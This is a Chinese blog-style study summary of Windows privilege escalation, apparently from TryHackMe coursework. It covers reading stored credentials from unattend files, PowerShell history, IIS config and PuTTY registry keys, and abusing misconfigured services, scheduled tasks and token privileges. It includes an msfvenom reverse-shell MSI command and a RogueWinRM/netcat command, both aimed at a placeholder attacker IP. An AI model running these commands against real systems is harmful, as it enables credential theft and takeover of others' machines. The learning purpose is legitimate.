Windows提权
前言
最近在tryhackme里边学习有关红队的一些东西,目前学习到了主机逃逸了,想着把前面的知识总结复习一下,就有了这边文章,这篇文章重点不在于如何利用,更多的是对思路的梳理和总结,根据我所学的在Windows中进行权限提升,通常有如下四个情况
- Windows 服务或计划任务的配置错误
- 我们的帐户被赋予了过多的权限
- 易受攻击的软件
- 缺少 Windows 安全补丁
这篇文章中所写的所有提权方式细想一下就会发现最终的归宿就是这四种情况。
Windows基础知识
在进行关于Windows权限提升的描述前我们需要先补充一些关于Windows的基础知识。
Windows用户
Windows中主要有两种用户。根据用户的访问基本,将其分为以下几类用户:
用户 | 描述 |
---|---|
管理员 | 这些用户拥有最高权限。他们可以更改任何系统配置参数并访问系统中的任何文件。 |
标准用户 | 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久性或必要的更改,并且只能访问其文件。 |
任何具有管理权的用户都属于管理员组,而其余用户则属于标准用户组。除此之外,在进行提权操作时,通常会有一些特殊的内置账户:
服务 | 描述 |
---|---|
系统/本地系统 | 操作系统用于执行内部任务的帐户。它拥有主机上所有文件和资源的完全访问权限,甚至比管理员的权限更高。 |
本地服务 | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。 |
网络服务 | 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。 |
这些账户由Windows创建和管理,一般情况下无法像其他用户一样使用它们,不过在某些情况下,可以通过特殊手段获取到这些账户的权限。补充完基础知识后,我们就可以开始讨论提权的方式了。
从常见位置获取高权限用户密码
无人Windows安装
当需要在大量的主机上安装Windows时,管理员可以使用Windows部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。这类安装被称为无人安装,因为它们不需要用户交互。此类安装需要使用管理员帐户执行初始设置,初始设置最终可能存储在计算机的以下位置:
- C:\Unattend.xml
- C:\Windows\Panther\ Unattend.xml
- C:\Windows\Panther\Unattend\ Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\ sysprep.xml
在这些文件中就有可能会遇见泄露的密码
Powershell历史命令
当用户使用Powershell运行命令时,该命令都会被存储到一个文件中,用于记录之前的命令。这对于快速重复之前使用过的命令非常有用。如果用户在Powershell命令行中直接运行包含密码的命令,则可以在提示符下使用以下命令查看历史记录从而获取到密码:
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
注意:上述命令仅适用于 cmd.exe,因为Powershell无法将其识别%userprofile%
为环境变量。要从 Powershell 读取文件,必须将%userprofile%
替换为$Env:userprofile
。
已保存的Windows凭据
Windows允许我们使用其他用户的凭据。此功能还提供了在系统上保存这些凭据的选项。以下命令将列出已保存的凭据:
1 | cmdkey /list |
虽然这样看不到实际的密码,但如果存在任何值得尝试的凭据,则可以将它们与runas
命令和 /savecred
选项一起使用,如下所示。
1 | runas /savecred /user:admin cmd.exe |
输入密码后我们就能登录为admin用户,并运行cmd.exe了
IIS配置
Internet信息服务 (IIS) 是 Windows 安装中的默认 Web 服务器。IIS 上的网站配置存储在一个名为 的文件中web.config
,该文件可以存储数据库密码或已配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
以下是在文件上查找数据库连接字符串的快速方法:
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
从软件中检索凭证:PuTTY
PuTTY 是Windows 系统上常见的SSH客户端。用户无需每次都指定连接参数,而是可以存储会话,其中存储了 IP、用户和其他配置,以供日后使用。虽然 PuTTY 不允许用户存储SSH密码,但它可以存储包含明文身份验证凭据的代理配置。
要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。
就像 Putty 存储凭证一样,任何存储密码的软件,包括浏览器、电子邮件客户端、FTP客户端、SSH客户端、VNC 软件等,都会有方法来恢复用户保存的任何密码。
常见提权方式
计划任务
查看靶机中的计划任务,有时会看到一些计划任务丢失了可执行的二进制文件或者执行的二进制文件是可以修改的,我们可以通过schtasks
命令列出计划任务。如果想要查看详细的信息可以使用如下的命令:
1 | schtasks /query /tn 任务名 /fo list /v |
通过这个命令可以得到特定的任务的详细信息,但我们只需要关注它的”要运行的任务”参数,以及”作为用户运行”参数,它显示将用于执行该任务的用户。
如果当前用户可以修改或覆盖“要运行的任务”参数所指向的可执行文件,我们就可以控制”作为用户运行”所指示的用户执行的对应的操作,从而实现简单的权限提升。要检查可执行文件的权限,我们使用以下命令icacls
:
1 | icacls 文件路径 |
通过以下命令可以直接运行对应的定时任务
1 | schtasks /run /tn 任务名 |
AlwaysInstallElevated
Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,这些文件可以配置为从任何用户帐户(甚至是非特权帐户)的权限运行,这允许我们生成一个以管理员权限运行的恶意 MSI 文件。
此方法需要设置两个注册表值。可以使用以下命令从命令行查询这些值。
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer |
为了能够利用此漏洞,必须同时设置这两个参数。否则,将无法利用此漏洞。如果设置了这两个参数,则可以使用 生成恶意 .msi 文件 msfvenom
,如下所示:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi |
由于这是一个反向shell,你还需要运行相应配置的Metasploit Handler模块。传输完创建的文件后,你可以使用以下命令运行安装程序并接收反向shell:
1 | msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
服务配置错误
Windows 服务
Windows 服务由服务控制管理器(SCM)管理。SCM 是一个进程,负责根据需要管理服务状态,检查任何给定服务的当前状态,并提供配置服务的方法。
Windows 计算机上的每个服务都会有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件会实现特殊功能以便与 SCM 通信,因此并非所有可执行文件都能成功作为服务启动。每个服务还指定了运行该服务的用户帐户。
可以通过如下命令获取到服务的信息:
1 | sc qc 服务名 |
服务可执行文件的不安全权限
如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。这和计划任务的原理类似。
未加引号的服务路径
使用 Windows 服务时,如果将服务配置为指向“未加引号”的可执行文件,则会出现一种非常特殊的行为。“未加引号”指的是,关联可执行文件的路径没有正确加引号,无法处理命令中的空格。
当可执行文件的路径是这样的:C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe,SCM 尝试执行关联的二进制文件时,出现了一个问题。由于“Disk Sorter Enterprise”文件夹名称中包含空格,导致命令含义不明,SCM 无法确定用户尝试执行的是以下哪一项:
命令 | 参数1 | 参数2 |
---|---|---|
C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
这与命令提示符如何解析命令有关。通常,当你发送命令时,空格会被用作参数分隔符,除非它们是带引号的字符串的一部分。这意味着对未带引号的命令的“正确”解释是执行命令C:\\MyPrograms\\Disk.exe
并将其余部分作为参数。但是这种行为显然是不正确的,结果通常是发生报错。但是SCM 并没有像它应该的那样失败,而是尝试帮助用户并开始按照表中显示的顺序搜索每个二进制文件:
- 首先,搜索
C:\\MyPrograms\\Disk.exe
。如果存在,服务将运行该可执行文件。 - 如果后者不存在,它将搜索
C:\\MyPrograms\\Disk Sorter.exe
。如果存在,服务将运行该可执行文件。 - 如果后者不存在,它将搜索
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
。此选项预计会成功,并且通常会在默认安装中运行。
从这种行为可以看出问题所在。如果攻击者创建一个可执行文件让它在执行预期文件之前就执行了攻击者的可执行文件,就可以操控该服务运行任意可执行文件。例如在创建一个C:\\MyPrograms\\Disk.exe
,那么就会直接运行Disk.exe
这个文件,而不会去执行预期的C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe
。但大多数服务可执行文件都会默认安装在非特权用户无法写入的目录下C:\Program Files
,虽然这听起来微不足道,不过将服务的可执行文件存放在C:\Program Files (x86)
下这可以有效防止任何易受攻击的服务被利用。
不安全的服务权限
如果服务的可执行文件DACL配置正确,并且服务的二进制路径引用正确,仍然可能有机会利用该服务。如果服务DACL(而非服务的可执行文件DACL)允许您修改服务的配置,将能够重新配置该服务。这将允许您指向所需的任何可执行文件,并使用您想要的任何帐户(包括 SYSTEM 帐户)运行它。
前面两种我们的重心放在了修改执行的文件上,而这个思路则是放在修改服务的配置文件上,例如:一个服务他的目标执行文件指向C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe
,现在由于不安全的权限,我们拥有了修改这个服务配置的权限,我们就能将目标执行文件指向任何我们想要执行的文件,例如:C:\hacker\hacker.exe
,假设本来的执行用户是ben,我们可以把它修改为system。
危险特权
基础知识
我们可以通过如下命令查看用户的特权情况
1 | whoami /priv |
我们接下来会介绍几个比较关键的权限和这些权限的作用,以及他们的利用方式。
SeBackup / SeRestore
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任意文件,而无视任何现有的DACL。此权限背后的想法是允许特定用户在无需完全管理权限的情况下执行系统备份。
假设拥有了这种权限,攻击者可以使用多种技术轻松提升系统权限。例如:复制 SAM 和 SYSTEM 注册表配置单元,以提取本地管理员的密码哈希值。
SeTakeOwnership
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权,包括文件和注册表项。
这为攻击者提升权限提供了许多可能性,例如,我们可以搜索以 SYSTEM 权限运行的服务并获取该服务可执行文件的所有权。
SeImpersonate/SeAssignPrimaryToken
这些权限允许进程模拟其他用户并代表其执行操作。
针对拥有这两种权限的用户,我们可以通过:RogueWinRM漏洞利用程序实现利用,示例如下:
1 | c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP ATTACKER_PORT" |
易受攻击的软件
未修补的的软件
目标系统上安装的软件可能带来各种权限提升机会。与驱动程序一样,组织和用户更新软件的频率可能不会像更新操作系统那样频繁。可以使用该 wmic
工具列出目标系统上安装的软件及其版本。以下命令将转储它收集到的已安装软件的信息
1 | wmic product get name,version,vendor |
该 wmic product
命令可能不会返回所有已安装的程序。根据某些程序的安装方式,它们可能不会在此处列出。始终有必要检查桌面快捷方式、可用服务或任何可能存在漏洞的其他软件的痕迹。